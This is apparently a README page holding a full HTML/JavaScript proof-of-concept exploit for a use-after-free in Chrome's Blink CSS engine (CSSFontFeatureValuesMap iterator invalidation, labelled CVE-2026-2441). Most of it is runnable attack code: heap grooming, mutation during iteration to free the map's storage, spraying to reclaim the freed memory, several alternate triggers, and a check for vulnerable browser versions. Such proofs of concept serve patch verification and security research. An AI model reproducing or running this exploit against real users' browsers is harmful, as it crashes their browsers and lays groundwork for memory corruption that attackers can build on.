README.md
Rendering markdown...
<!DOCTYPE html>
<!--
CVE-2026-2441 — CSSFontFeatureValuesMap Iterator Invalidation (UAF) PoC
Author: b1gchoi
Vulnerability: Blink CSS engine, third_party/blink/renderer/core/css/css_font_feature_values_map.cc
Root cause: FontFeatureValuesMapIterationSource held a raw pointer to the FontFeatureAliases
HashMap (const FontFeatureAliases* aliases_). When the map is mutated during
iteration (set/delete), the HashMap rehashes, the old storage is freed, and the
pointer becomes dangling → Use-After-Free.
Fix: const FontFeatureAliases* aliases_ → const FontFeatureAliases aliases_ (deep copy)
Commit: 63f3cb4864c64c677cd60c76c8cb49d37d08319c
Target: Chrome <= 144.0.x (all versions prior to 145.0.7632.75)
Expected result (unpatched): Renderer process crash (SIGSEGV / heap corruption)
Expected result (patched): No crash, test passes normally
-->
<html>
<head>
<meta charset="utf-8">
<title>CVE-2026-2441 PoC — CSSFontFeatureValuesMap UAF</title>
<style>
body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }
#log { white-space: pre; font-size: 13px; }
.ok { color: #0f0; }
.warn { color: #ff0; }
.fail { color: #f44; }
.info { color: #08f; }
</style>
<!--
@font-feature-values at-rule: CSS Fonts Level 4 specification.
This rule creates a CSSFontFeatureValuesRule CSSOM object.
rule.styleset → CSSFontFeatureValuesMap (HashMap wrapper)
The vulnerability is triggered by the iteration + mutation combination on this Map.
-->
<style id="target-style">
@font-feature-values VulnTestFont {
@styleset {
entry_a: 1;
entry_b: 2;
entry_c: 3;
entry_d: 4;
entry_e: 5;
entry_f: 6;
entry_g: 7;
entry_h: 8;
}
}
</style>
</head>
<body>
<h2>CVE-2026-2441 — CSSFontFeatureValuesMap UAF PoC</h2>
<div id="log"></div>
<script>
"use strict";
const log = document.getElementById("log");
function print(msg, cls = "") {
const span = document.createElement("span");
span.className = cls;
span.textContent = msg + "\n";
log.appendChild(span);
}
print("[*] Initiating CVE-2026-2441 PoC...", "info");
print("[*] Focus: Iterator invalidation in CSSFontFeatureValuesMap (UAF)", "info");
print("[*] Source in Blink: css_font_feature_values_map.cc", "info");
print("");
// ─── 1. Obtain the CSSOM object ──────────────────────────────────────────────
const sheet = document.getElementById("target-style").sheet;
if (!sheet || sheet.cssRules.length === 0) {
print("[!] ISSUE: Missing @font-feature-values rule.", "fail");
throw new Error("CSS rule not found");
}
const rule = sheet.cssRules[0];
print("[+] Located CSSFontFeatureValuesRule: " + rule.fontFamily, "ok");
// CSSFontFeatureValuesMap object
// In Blink, this object is a CSSOM wrapper around the FontFeatureAliases HashMap.
const map = rule.styleset;
if (!map) {
print("[!] ISSUE: rule.styleset unavailable. Possible API support issue.", "fail");
throw new Error("styleset not available");
}
print("[+] Acquired CSSFontFeatureValuesMap. Entries: " + map.size, "ok");
print("");
// ─── 2. Heap Grooming ────────────────────────────────────────────────────────
// Goal: Bring the heap into a predictable state.
// By creating multiple @font-feature-values rules, we allocate same-sized
// FontFeatureAliases objects. This facilitates memory reclaim after the UAF.
print("[*] Beginning heap preparation...", "info");
const groomRules = [];
const groomStyle = document.createElement("style");
document.head.appendChild(groomStyle);
for (let i = 0; i < 50; i++) {
groomStyle.sheet.insertRule(
`@font-feature-values GroomFont${i} { @styleset { g${i}: ${i}; } }`,
groomStyle.sheet.cssRules.length
);
groomRules.push(groomStyle.sheet.cssRules[groomStyle.sheet.cssRules.length - 1]);
}
print("[+] Generated " + groomRules.length + " grooming items.", "ok");
// ─── 3. UAF Trigger — Iterator Invalidation ─────────────────────────────────
//
// Vulnerability mechanism (unpatched Blink):
//
// When CreateIterationSource() is called:
// FontFeatureValuesMapIterationSource(map, aliases_)
// → aliases_ (raw pointer) points to the internal HashMap
// → iterator_ = aliases_->begin()
//
// When FetchNextItem() is called:
// → iterator_->key is read
//
// If map.delete() or map.set() is called in between:
// → HashMap rehashes (new allocation, old storage freed)
// → aliases_ now points to freed memory (dangling pointer)
// → iterator_ is also invalidated
// → Next FetchNextItem() → USE-AFTER-FREE → CRASH
//
print("[*] Activating UAF sequence...", "info");
print("[*] Approach: iterator.next() + map.delete() + map.set() repeated (induce rehash)", "info");
print("");
let crashDetected = false;
let iterationCount = 0;
try {
// Create iterator — at this point Blink creates an IterationSource with a raw pointer
const iterator = map.entries();
let step = 0;
while (step < 20) {
// iterator.next() → FetchNextItem() call
// Unpatched Blink: reads through dangling pointer
const result = iterator.next();
if (result.done) {
print(" [.] Iterator depleted (step=" + step + ")", "warn");
break;
}
const [key, value] = result.value;
iterationCount++;
print(" [>] Item: " + key + " = " + JSON.stringify(value) + " (step=" + step + ")", "ok");
// ── MUTATION: Modify the HashMap ─────────────────────────────────────
// This triggers a HashMap rehash.
// In unpatched Blink, the aliases_ pointer becomes dangling after this.
// Delete the current key
map.delete(key);
// Add many new keys → force rehash
// WTF::HashMap default load factor ~0.75; 512+ entries will definitely trigger rehash
// Each set() call potentially reallocates internal storage
for (let i = 0; i < 512; i++) {
map.set("spray_" + step + "_" + i, [i, i + 1, i + 2]);
}
// Also modify groom objects — fill the freed memory
for (let g = 0; g < groomRules.length; g++) {
try {
groomRules[g].styleset.set("reclaim_" + step + "_" + g, [step]);
} catch(e) {}
}
step++;
}
print("");
print("[+] Finished iteration (" + iterationCount + " items handled).", "ok");
} catch (e) {
crashDetected = true;
print("[!] Detected EXCEPTION: " + e.message, "fail");
print("[!] Possible UAF exposure in JS layer.", "fail");
}
// ─── 4. Results ──────────────────────────────────────────────────────────────
print("");
print("─".repeat(60), "info");
print("[*] OUTCOMES:", "info");
const ua = navigator.userAgent;
const chromeMatch = ua.match(/Chrome\/([\d.]+)/);
const chromeVersion = chromeMatch ? chromeMatch[1] : "unknown";
print("[*] Detected Chrome: " + chromeVersion, "info");
// Version comparison
// Dev/Canary builds have build number 0: 145.0.0.0
// In that case major.minor is not enough, full build number is required.
function parseVersion(v) {
const parts = v.split(".").map(Number);
return {
major: parts[0] || 0,
minor: parts[1] || 0,
build: parts[2] || 0,
patch: parts[3] || 0,
isDevBuild: (parts[2] === 0 && parts[3] === 0)
};
}
function isVulnerable(vStr) {
const v = parseVersion(vStr);
// Dev/Canary build (x.x.0.0): receives upstream fix early, considered safe
if (v.isDevBuild) return false;
// major < 145 → definitely vulnerable
if (v.major < 145) return true;
// major > 145 → patched
if (v.major > 145) return false;
// major === 145: check build number
if (v.build < 7632) return true;
if (v.build > 7632) return false;
// build === 7632: check patch
return v.patch < 75;
}
if (chromeMatch) {
const v = parseVersion(chromeVersion);
if (v.isDevBuild) {
print("[?] Identified Dev/Canary version (" + chromeVersion + ").", "warn");
print("[?] Such builds get fixes sooner — probably SECURE.", "warn");
print("[?] Test with stable/beta (<= 144.0.x) for precision.", "warn");
} else if (isVulnerable(chromeVersion)) {
print("[!] VULNERABLE VERSION! (" + chromeVersion + " < 145.0.7632.75)", "fail");
print("[!] Anticipate renderer failure — absence might indicate sandbox effects", "fail");
print("[!] or alternative mitigations impacting trigger.", "fail");
} else {
print("[+] Version secured. (" + chromeVersion + " >= 145.0.7632.75)", "ok");
print("[+] Crash avoidance expected due to iterator protection.", "ok");
}
} else {
print("[?] Unable to identify Chrome version.", "warn");
}
if (crashDetected) {
print("[!] Noted exception — partial UAF activation.", "fail");
} else {
print("[+] Exception absent — secured version or renderer terminated", "ok");
print(" (termination prevents this message execution).", "ok");
}
print("");
print("[*] Fix commit: 63f3cb4864c64c677cd60c76c8cb49d37d08319c", "info");
print("[*] Change: css_font_feature_values_map.cc", "info");
print("[*] Adjustment: const FontFeatureAliases* to const FontFeatureAliases (deep copy)", "info");
print("─".repeat(60), "info");
// ─── 5. Alternative trigger via for...of ─────────────────────────────────────
// Some Blink versions use a different code path for for...of iteration.
print("");
print("[*] Secondary activation: for...of with simultaneous changes...", "info");
try {
// Retry with a fresh map
const style2 = document.createElement("style");
document.head.appendChild(style2);
style2.sheet.insertRule(
`@font-feature-values AltFont {
@styleset { x1: 10; x2: 20; x3: 30; x4: 40; x5: 50; }
}`, 0
);
const rule2 = style2.sheet.cssRules[0];
const map2 = rule2.styleset;
let altCount = 0;
for (const [k, v] of map2) {
altCount++;
// Mutation during iteration
map2.delete(k);
for (let i = 0; i < 512; i++) {
map2.set("alt_" + altCount + "_" + i, [i, i]);
}
if (altCount >= 5) break;
}
print("[+] Completed for...of (" + altCount + " cycles).", "ok");
} catch(e) {
print("[!] Exception in for...of: " + e.message, "fail");
}
// ─── 6. Async trigger via requestAnimationFrame ──────────────────────────────
// Forces layout recalculation via offsetWidth inside a rAF loop,
// re-triggering the CSS engine.
print("");
print("[*] Launching rAF with layout force trigger...", "info");
const style3 = document.createElement("style");
document.head.appendChild(style3);
style3.sheet.insertRule(
`@font-feature-values RafFont {
@styleset { r1: 1; r2: 2; r3: 3; r4: 4; r5: 5; }
}`, 0
);
const rule3 = style3.sheet.cssRules[0];
const map3 = rule3.styleset;
let rafCount = 0;
let rafIterator = map3.entries();
function rafTrigger() {
if (rafCount >= 10) {
print("[+] Finished rAF activation (" + rafCount + " frames).", "ok");
print("");
print("[*] Demonstration concluded. Review outcomes.", "info");
print("");
print("[*] OVERVIEW:", "info");
print("[*] At risk: Chrome <= 144.x (stable) or < 145.0.7632.75", "info");
print("[*] Protected: Chrome >= 145.0.7632.75 (stable)", "info");
print("[*] Dev version: e.g. 145.0.0.0 — early upstream integration", "info");
print("[*] No failure: Secured or silent renderer halt", "info");
print("[*] Failure: UAF activation achieved", "info");
return;
}
// Force layout recalc — re-trigger CSS engine
void document.body.offsetWidth;
// Iterator step
const result = rafIterator.next();
if (!result.done) {
const [k] = result.value;
map3.delete(k);
for (let i = 0; i < 512; i++) {
map3.set("raf_" + rafCount + "_" + i, [rafCount, i]);
}
}
rafCount++;
requestAnimationFrame(rafTrigger);
}
requestAnimationFrame(rafTrigger);
</script>
</body>
</html>